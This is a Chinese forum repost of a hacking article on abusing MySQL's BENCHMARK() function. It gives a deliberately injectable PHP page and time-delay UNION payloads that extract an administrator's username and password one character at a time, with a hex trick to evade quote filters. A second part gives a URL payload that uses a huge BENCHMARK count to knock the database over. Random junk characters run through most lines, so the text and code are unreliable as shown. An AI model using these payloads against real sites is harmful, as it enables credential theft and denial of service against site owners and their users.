找回密码
 立即注册
查看: 2624|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
* W6 g# b. A, ?3 u1 Z/ |- \8 H本文作者:SuperHei
* O' I: @4 e4 Y文章性质:原创+ {7 \6 E- @- U
发布日期:2005-01-02
. \9 W9 x2 h1 z$ A1 X完成日期:2004-07-09 2 h) ]( s6 m& @
第一部
: J- F6 x: [& r/ z$ X3 H7 K) }: X! b/ _$ {
利用时间推延进行注射---BENCHMARK函数在注射中的利用
2 k# s9 o* W% |; v
& H  l7 q/ C3 l3 m一.前言/思路
$ j# j2 ^/ Q2 l: R6 i% ~
; b1 [2 c, g% u. M7 ~  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
: U6 ^' E& E8 c, @$ k8 e" u7 E
0 J9 s% P0 G3 q% v  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
5 _' W9 _, t! r1 s* y7 z6 a3 ]! u, x  `& b9 P% q' }) ^
二.关于BENCHMARK函数
' _9 M7 x3 [9 q8 I
7 E; Q8 L( _7 N& P  在MySQL参考手册里可以看到如下描叙:
  g- S. x( F7 R3 g+ h. q* g8 {: }2 i) |

" r9 |. {8 \% Z--------------------------------------------------------------------------------, D) {7 V: V  x9 v
* O5 m" c9 t! I
BENCHMARK(count,expr)
6 S& e" E. G( r5 @0 {BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
. P" E4 H" Z8 k2 h6 Ymysql> select BENCHMARK(1000000,encode("hello","goodbye"));
" U1 @+ Z9 V% Y1 X  Z+----------------------------------------------+
7 R* N. ]- ^5 t' ?| BENCHMARK(1000000,encode("hello","goodbye")) | 4 f7 Z* Q% A  }; D% p, c! C
+----------------------------------------------+ 2 r( ^* s! K" }1 q
| 0 |
4 R1 V; z6 C5 q* u7 z: K  @8 k7 {+----------------------------------------------+ 2 N( w$ k) R0 f( g
1 row in set (4.74 sec)
, P, m& g* Y9 Q0 l( B- N0 ^! X0 o5 e. W" H, m* P) C9 I
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。) v( Q; t6 {  n, h; [: e  N; y
% c9 v. S, j6 n5 h
7 k. Y# ?& n# @5 H  J4 {0 I
--------------------------------------------------------------------------------$ v& S, f. g* A' V5 I2 |4 e

2 n$ t8 }2 o. ~- V) i" h  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
) [; ?1 C% ~) E/ J: ?; x4 t: ]! E5 {2 N) I- }2 X
mysql> select md5( 'test' );
) f8 E. O% [" s+----------------------------------+
5 q! ^) [, \+ H! c2 v8 a4 \' a| md5( 'test' ) | + S7 p6 |% u. V. v& }
+----------------------------------+ : ^. A  `5 s0 \0 G; P3 J
| 098f6bcd4621d373cade4e832627b4f6 | # i( e" F7 V5 R5 O+ s
+----------------------------------+ 9 A! h  e" w+ T4 n/ f( M% R
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 6 C8 \% Z8 x& L4 W7 B6 V$ `
7 x& q( |' V6 P; M
mysql> select benchmark( 500000, md5( 'test' ) ); + Y9 _% R5 N! P3 `
+------------------------------------+ $ ^; R4 D2 \# l! q- ^7 g. f
| benchmark( 500000, md5( 'test' ) ) | 3 G, |% w  k6 Q& n. ^8 l
+------------------------------------+ , G" d5 Q% S( P2 I+ U8 v- ~$ W
| 0 | & \( N6 `$ Y* w
+------------------------------------+
8 b1 R3 C- s. c! N( }1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
+ _: h" X: o; ^' E9 {5 B0 [) K7 V
7 ]2 O$ k0 l  a  s0 x3 J9 y* I/ q/ O* O6 O- M; }) R- N
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
7 ]9 ]; |) l- }% i/ O; }. z& y6 T! }5 W$ s  E3 D' Q9 Z
三.具体例子
) y! Z) V" j1 ?) Q4 x& a0 `
% u' G, U. |0 T; G! a: _  首先我们看个简单的php代码:( E. [; w' s: |0 {, W( {3 A2 C0 s4 w

, M  x  d" j1 s7 X- @& F< ?php # m( V" s' S' z5 s
$servername = "localhost";
5 j7 T" s4 G# |( ~. s" E2 ]$dbusername = "root"; % G: |2 [; y- x+ }7 {3 u3 w
$dbpassword = ""; 3 {: t' \0 L4 o4 V4 i
$dbname = "injection"; 2 r+ ]* @. G7 J6 q& Z' u% {& }, M
3 x! Q% O  C+ q0 p. f1 b; K$ F7 o" O
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ; r& A$ t" f2 c. Q
( [9 a, j: i- g7 P2 A+ m4 C/ A3 F
$sql = "SELECT * FROM article WHERE articleid=$id";
5 d; [7 W; b9 z$result = mysql_db_query($dbname,$sql);
; T' O. c. k, B' y3 w' Z  i$row = mysql_fetch_array($result);
% l: W. A' V3 C0 k9 \+ T/ P
; k! V  f! i# g1 ?0 x, cif (!$row) ( l" I7 x) y% c$ ~- ^# S
{ . `4 |, {7 _6 s3 \6 M+ C8 |
exit; 9 i8 ]  j* @& |! Y
} " ?$ O" M0 u. O6 b( ]
?>9 L- W/ Q( E( s0 B. z! m* I

* `: l; t) x( i  `* s0 ]; U
% ?) U1 J1 ?5 k: \5 O9 L  `' y  数据库injection结构和内容如下:+ k, Z% N- i" X  f- p

" a1 Y* c# n- Z% b. _# 数据库 : `injection`
4 U$ H. ~+ ^: L1 ]- y( v7 B2 I# 1 d  x  n) r1 B9 P2 q" F' Q

2 \4 q: Z) c' k, V0 p  @* n, z# --------------------------------------------------------
1 S& ]4 R9 }  O! q! a3 S/ m" V& C: V
5 a3 w0 j" e2 }' M7 Y" n: ]/ J7 O#
2 |! w+ h* _7 ]/ N; d8 j) x8 d# 表的结构 `article` ' M6 G9 b* @! z1 t& H# O. x  _
# 4 B! Q) D2 T2 r0 A" Y* v! R

7 d) e" D5 I; t0 @, @CREATE TABLE `article` ( ) P/ s" Y3 d+ o. {! O
`articleid` int(11) NOT NULL auto_increment, - l1 Q' v, u1 z/ b+ a) v
`title` varchar(100) NOT NULL default '', ! Y6 R+ e7 u  q$ N$ K: i6 d
`content` text NOT NULL,
" F$ g9 W8 _: c3 U/ bPRIMARY KEY (`articleid`) 1 i9 I8 l3 E: D
) TYPE=MyISAM AUTO_INCREMENT=3 ; 3 n. J3 n! S! W6 {$ k

( h6 k* |9 E4 p' C# 1 u! m; w# q. j& o- @5 q2 K: X/ s
# 导出表中的数据 `article`
, d+ @& a, y9 A1 T  a#
. z! ~- e3 @; s/ ^
. i; E7 @5 z7 X, [1 o/ IINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 2 l) T5 [7 D- W8 q$ w
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
* d: e2 E: Q' _
+ I6 _  z1 h- I# -------------------------------------------------------- ( O8 @4 F# ]# A8 c6 ~
, T! ?. j% j6 F# g  R5 [9 W
# , N" B, f8 \) R4 }
# 表的结构 `user` . m8 z) A: K% S0 _
# 4 G8 g( ?% {; `8 E* Z1 ]3 P
% p1 L4 ]( ?% D
CREATE TABLE `user` ( / C! b) Y$ C6 i5 d" m$ L
`userid` int(11) NOT NULL auto_increment,
" V" ]! p, J! H9 V9 t7 F`username` varchar(20) NOT NULL default '', % Y# R% A3 g% X% L5 b- ]
`password` varchar(20) NOT NULL default '',
% q: c3 g0 Y3 E; D- J6 i6 C( \PRIMARY KEY (`userid`) ( ^  \: c  i& v7 Q- B* x
) TYPE=MyISAM AUTO_INCREMENT=3 ;
' Q* q- j1 L1 H1 n0 p, d# t  B
* e7 T2 O3 {7 r7 E9 _8 ]" T#
6 g3 d$ R4 H- u; Q$ _0 e# 导出表中的数据 `user`
! S: e" v9 j  \+ B" _: U#
$ m+ f7 T# W. r
2 f$ a6 M% I) ~INSERT INTO `user` VALUES (1, 'angel', 'mypass');
! y2 w: v( b" ^8 T2 [# ~- g7 ?3 |: i) YINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
8 q' m% S; C3 e) |6 _; I' v  Z
0 w" d9 @3 |# ~6 _; x
8 ]& a, p/ a4 V. R3 R  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:9 Z; l2 f, \9 h7 y( ?4 E# ^0 ~: F
2 a& e4 l! V3 V7 K% `9 @0 l
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*. o9 l% J! P! U- J8 v. R) y
: S2 U  E) W7 [. e- p3 {
8 r% u  A3 ~& H$ i/ v. B% D. J
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
$ _" a0 O4 ]% l5 ~# h; b5 e* w) U, J4 C, ^6 V* \: {
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
, a) f1 S  n8 `9 u 0 U% R; X. b" Q2 b  h1 O
/ T9 I, Z. Y  m+ l7 U0 p4 Q8 j- C. @
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。   S" L, l( u5 Y) h

8 C" s( ^$ n5 G; }4 l  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 ) O! |1 O8 `! K$ w2 L' p  d

( c0 L5 F: r% x  G4 A+ @! x2 I第二部
: E& K+ S1 l$ q+ r
- W. ?$ [4 ^5 D* X利用BENCHMARK函数进行ddos攻击
  ?- u: l( ?2 T2 w
3 ?/ X; ^! Z$ Y  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:: L. n" q3 C6 ?- k
+ o# K" l- v* b4 J  l
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))3 ?( @- W4 s' T: G' ^

$ D+ p3 P" X3 `/ |' O; |: g) W' i
* E0 v% W0 X9 o- |) A小结
& E9 l/ V) Z$ d6 E3 O; Q3 Z
) l: L, g5 x, y+ }$ R( ^9 s  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。" p: T6 E  j2 T2 g

6 C7 @0 g' q% E- i% v  $ |- x9 I1 |0 f# G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表